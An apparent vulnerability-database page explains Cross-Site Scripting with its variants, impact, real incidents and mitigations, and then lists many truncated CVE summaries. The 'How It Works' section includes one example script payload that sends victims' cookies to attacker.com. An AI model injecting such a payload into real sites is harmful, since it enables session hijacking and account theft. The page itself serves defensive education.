Cross-Site Scripting
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
How It Works
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding. The attacker crafts input containing JavaScript code, which the application then incorporates into its HTML response. When a victim's browser renders this response, it executes the injected script as if it were legitimate code from the trusted website.
The attack manifests in three main variants. Reflected XSS occurs when malicious script arrives via an HTTP parameter (like a search query) and immediately bounces back in the response—typically delivered through phishing links. Stored XSS is more dangerous: the payload persists in the application's database (in comment fields, user profiles, forum posts) and executes whenever anyone views the infected content. DOM-based XSS happens entirely client-side when JavaScript code improperly handles user-controllable data, modifying the DOM in unsafe ways without ever sending the payload to the server.
A typical attack flow starts with the attacker identifying an injection point—anywhere user input appears in HTML output. They craft a payload like <script>document.location='http://attacker.com/steal?c='+document.cookie</script> and inject it through the vulnerable parameter. When victims access the page, their browsers execute this script within the security context of the legitimate domain, giving the attacker full access to cookies, session tokens, and DOM content.
Impact
- Session hijacking: Steal authentication cookies to impersonate victims and access their accounts
- Credential harvesting: Inject fake login forms on trusted pages to capture usernames and passwords
- Account takeover: Perform state-changing actions (password changes, fund transfers) as the authenticated victim
- Keylogging: Monitor and exfiltrate everything users type on the compromised page
- Phishing and malware distribution: Redirect users to malicious sites or deliver drive-by downloads from a trusted domain
- Data exfiltration: Access and steal sensitive information visible in the DOM or retrieved via AJAX requests
Real-World Examples
A stored XSS vulnerability in Twitter (2010) allowed attackers to create self-propagating worms. Users hovering over malicious tweets automatically retweeted them and followed the attacker, creating viral spread through the platform's legitimate functionality.
eBay suffered from persistent XSS flaws in product listings (CVE-2015-2880) where attackers embedded malicious scripts in item descriptions. Buyers viewing these listings had their sessions compromised, enabling unauthorized purchases and account takeover.
British Airways faced a sophisticated supply chain attack (2018) where attackers injected JavaScript into the airline's payment page. The script skimmed credit card details from 380,000 transactions, demonstrating how XSS enables payment fraud at massive scale.
Mitigation
- Context-aware output encoding: HTML-encode for HTML context, JavaScript-encode for JS strings, URL-encode for URLs—never use generic escaping
- Content Security Policy (CSP): Deploy strict CSP headers to whitelist script sources and block inline JavaScript execution
- HTTPOnly and Secure cookie flags: Prevent JavaScript access to session cookies and ensure transmission over HTTPS only
- Input validation: Reject unexpected characters and patterns, though this is defense-in-depth, not primary protection
- DOM-based XSS prevention: Use safe APIs like
textContentinstead ofinnerHTML; avoid passing user data to dangerous sinks likeeval()
Recent CVEs (40977)
The AI ChatBot WordPress plugin before 4.5.5 does not sanitize and escape its settings, allowing high-privilege users such as admin to perform Cross-Site Scripting attacks even when the. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
The File Renaming on Upload WordPress plugin before 2.5.2 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
The Conditional Menus WordPress plugin before 1.2.1 does not escape a parameter before outputting it back in an attribute, leading to a Reflected Cross-Site Scripting which could be used against high. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
The Custom Base Terms WordPress plugin before 1.0.3 does not sanitize and escape some of its settings, which could allow high-privilege users such as admin to perform Stored Cross-Site Scripting. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
The Integration for Contact Form 7 and Zoho CRM, Bigin WordPress plugin before 1.2.4 does not properly sanitise and escape a parameter before using it in a SQL statement, leading to a SQL injection. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
The QuBot WordPress plugin before 1.1.6 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
The SlideOnline WordPress plugin through 1.2.1 does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could allow. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
The Responsive Tabs For WPBakery Page Builder (formerly Visual Composer) WordPress plugin through 1.1 does not validate and escape some of its shortcode attributes before outputting them back in a. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
A stored cross-site scripting (XSS) vulnerability in Eyoucms v1.6.2 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the web_recordnum parameter. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
A vulnerability, which was classified as problematic, was found in PuneethReddyHC online-shopping-system-advanced 1.0. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
A vulnerability classified as problematic was found in SourceCodester Resort Reservation System 1.0. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
A stored Cross-site scripting (XSS) vulnerability in Wolters Kluwer TeamMate+ 35.0.11.0 allows remote attackers to inject arbitrary web script or HTML. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
The Teamlead Reminder plugin through 2.6.5 for Jira allows persistent XSS via the message parameter. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
The ke_search (aka Faceted Search) extension before 4.0.3, 4.1.x through 4.6.x before 4.6.6, and 5.x before 5.0.2 for TYPO3 allows XSS via indexed data. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.
Cross-site Scripting (XSS) - DOM in GitHub repository saleor/react-storefront prior to c29aab226f07ca980cc19787dcef101e11b83ef7. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Cross-site Scripting (XSS) - Stored in GitHub repository salesagility/suitecrm-core prior to 8.3.0. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
An issue was discovered in Zimbra Collaboration (ZCS) 9.0 and 8.8.15. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Adobe Experience Manager versions 6.5.16.0 (and earlier) is affected by a reflected Cross-Site Scripting (XSS) vulnerability. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Adobe Experience Manager versions 6.5.16.0 (and earlier) is affected by a reflected Cross-Site Scripting (XSS) vulnerability. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Adobe Experience Manager versions 6.5.16.0 (and earlier) is affected by a reflected Cross-Site Scripting (XSS) vulnerability. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Cross-site scripting (XSS) vulnerability in Phpgurukul Cyber Cafe Management System 1.0 allows remote attackers to inject arbitrary web script or HTML via the admin username parameter. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Cross-site scripting (XSS) vulnerability in the Layout module's SEO configuration in Liferay Portal 7.4.3.70 through 7.4.3.73, and Liferay DXP 7.4 update 70 through 73 allows remote attackers to. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity.
Grav is a flat-file content management system. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
A stored cross-site scripting vulnerability in the Sources UI in Proofpoint Threat Response/ Threat Response Auto Pull (PTR/TRAP) could allow an authenticated administrator on an adjacent network to. Rated medium severity (CVSS 4.3), this vulnerability is low attack complexity. No vendor patch available.
Netbox 3.5.1 is vulnerable to Cross Site Scripting (XSS) in the "Create Wireless LAN Groups" function. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
SoftExpert Excellence Suite 2.1.9 is vulnerable to Cross Site Scripting (XSS) via query screens. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
A reflected cross-site scripting (XSS) vulnerability in the Captive Portal feature of Palo Alto Networks PAN-OS software can allow a JavaScript payload to be executed in the context of an. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Microsoft Power Apps Spoofing Vulnerability. Rated low severity (CVSS 3.0), this vulnerability is remotely exploitable. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.
Jenkins Template Workflows Plugin 41.v32d86a_313b_4a and earlier does not escape names of jobs used as buildings blocks for Template Workflow Job, resulting in a stored cross-site scripting (XSS). Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Jenkins Sonargraph Integration Plugin 5.0.1 and earlier does not escape the file path and the project name for the Log file field form validation, resulting in a stored cross-site scripting. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Jenkins Maven Repository Server Plugin 1.10 and earlier does not escape project and build display names on the Build Artifacts As Maven Repository page, resulting in a stored cross-site scripting. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Jenkins Maven Repository Server Plugin 1.10 and earlier does not escape the versions of build artifacts on the Build Artifacts As Maven Repository page, resulting in a stored cross-site scripting. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
A vulnerability, which was classified as problematic, was found in SourceCodester Online School Fees System 1.0. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
Microsoft SharePoint Server Spoofing Vulnerability. Rated medium severity (CVSS 6.3), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.
Microsoft SharePoint Server Spoofing Vulnerability. Rated high severity (CVSS 7.3), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.
Azure DevOps Server Spoofing Vulnerability. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.
Potential Cross-Site Scripting in ArcSight Logger versions prior to 7.3.0. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
A Reflected XSS was discovered in HotelDruid version 3.0.5, an attacker can issue malicious code/command on affected webpage's parameter to trick user on browser and/or exfiltrate data. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
Improper input validation in the Zoom for Windows, Zoom Rooms, Zoom VDI Windows Meeting clients before 5.14.0 may allow an authenticated user to potentially enable an escalation of privilege via. Rated high severity (CVSS 8.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Zoom clients prior to 5.13.10 contain an HTML injection vulnerability. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Zoom for Linux clients prior to 5.13.10 contain an HTML injection vulnerability. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Sensitive Cookie Without 'HttpOnly' Flag vulnerability in ABB REX640 PCL1 (firmware modules), ABB REX640 PCL2 (Firmware modules), ABB REX640 PCL3 (firmware modules) allows Cross-Site Scripting. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
SAP UI5 Variant Management - versions SAP_UI 750, SAP_UI 754, SAP_UI 755, SAP_UI 756, SAP_UI 757, UI_700 200, does not sufficiently encode user-controlled inputs on reading data from the server,. Rated high severity (CVSS 8.2), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
SAP CRM ABAP (Grantor Management) - versions 700, 701, 702, 712, 713, 714, does not sufficiently encode user-controlled inputs, resulting in Cross-Site Scripting (XSS) vulnerability. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
SAP NetWeaver Enterprise Portal - version 7.50, does not sufficiently encode user-controlled inputs over the network, resulting in reflected Cross-Site Scripting (XSS) vulnerability, therefore. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
SAP NetWeaver (Design Time Repository) - version 7.50, returns an unfavorable content type for some versioned files, which could allow an authorized attacker to create a file with a malicious content. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
A stored cross-site scripting (XSS) vulnerability in the urlFilterList function of Asus RT-N10LX Router v2.0.0.39 allows attackers to execute arbitrary web scripts or HTML via a crafted payload. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
The Contact Form Email WordPress plugin before 1.3.38 does not escape submitted values before displaying them in the HTML, leading to a Stored XSS vulnerability. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
The Photo Gallery by Ays WordPress plugin before 5.1.7 does not escape some parameters before outputting it back in attributes, leading to Reflected Cross-Site Scripting which could be used against. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
The Icegram Engage WordPress plugin before 3.1.12 does not escape a parameter before outputting it back in an attribute, leading to a Reflected Cross-Site Scripting which could be used against high. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
The Float menu WordPress plugin before 5.0.2, Bubble Menu WordPress plugin before 3.0.4, Button Generator WordPress plugin before 2.3.5, Calculator Builder WordPress plugin before 1.5.1, Counter Box. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
The Easy Forms for Mailchimp WordPress plugin before 6.8.9 does not sanitise and escape some of its from parameters, which could allow high privilege users such as admin to perform Stored Cross-Site. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
The File Away WordPress plugin through 3.9.9.0.1 does not validate and escape one of its shortcode attributes, which could allow users with a role as low as contributor to perform Stored Cross-Site. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
In JetBrains YouTrack before 2023.1.10518 stored XSS in a Markdown-rendering engine was possible. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
The WP Abstracts plugin for WordPress (versions <= 2.6.2) contains an unauthenticated reflected Cross-Site Scripting (XSS) vulnerability that allows remote attackers to execute malicious JavaScript in users' browsers. With an EPSS score of 0.10% (28th percentile), this vulnerability has relatively low exploitation activity in the wild and is not currently listed in CISA's KEV catalog.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
A Cross Site Scripting (XSS) vulnerability in Youxun Electronic Equipment (Shanghai) Co., Ltd AC Centralized Management Platform v1.02.040 allows attackers to execute arbitrary code via uploading a. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
EyouCMS 1.6.2 is vulnerable to Cross Site Scripting (XSS). Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
The Danfoss AK-EM100 web applications allow for Reflected Cross-Site Scripting in the title parameter. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
The Danfoss AK-EM100 web applications allow for Reflected Cross-Site Scripting. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Cross-site Scripting (XSS) - Stored in GitHub repository nilsteampassnet/teampass prior to 3.0.9. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.
Pega Platform versions 7.2 to 8.8.1 are affected by an XSS issue. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
A Cross Site Scripting (XSS) vulnerability in D-Link DI-7500G-CI-19.05.29A allows attackers to execute arbitrary code via uploading a crafted HTML file to the interface /auth_pic.cgi. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
Cross Site Scripting vulnerability found in Vade Secure Gateway allows a remote attacker to execute arbitrary code via the username, password, and language cookies parameter. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Quick Facts
- Typical Severity
- MEDIUM
- Category
- web
- Total CVEs
- 40977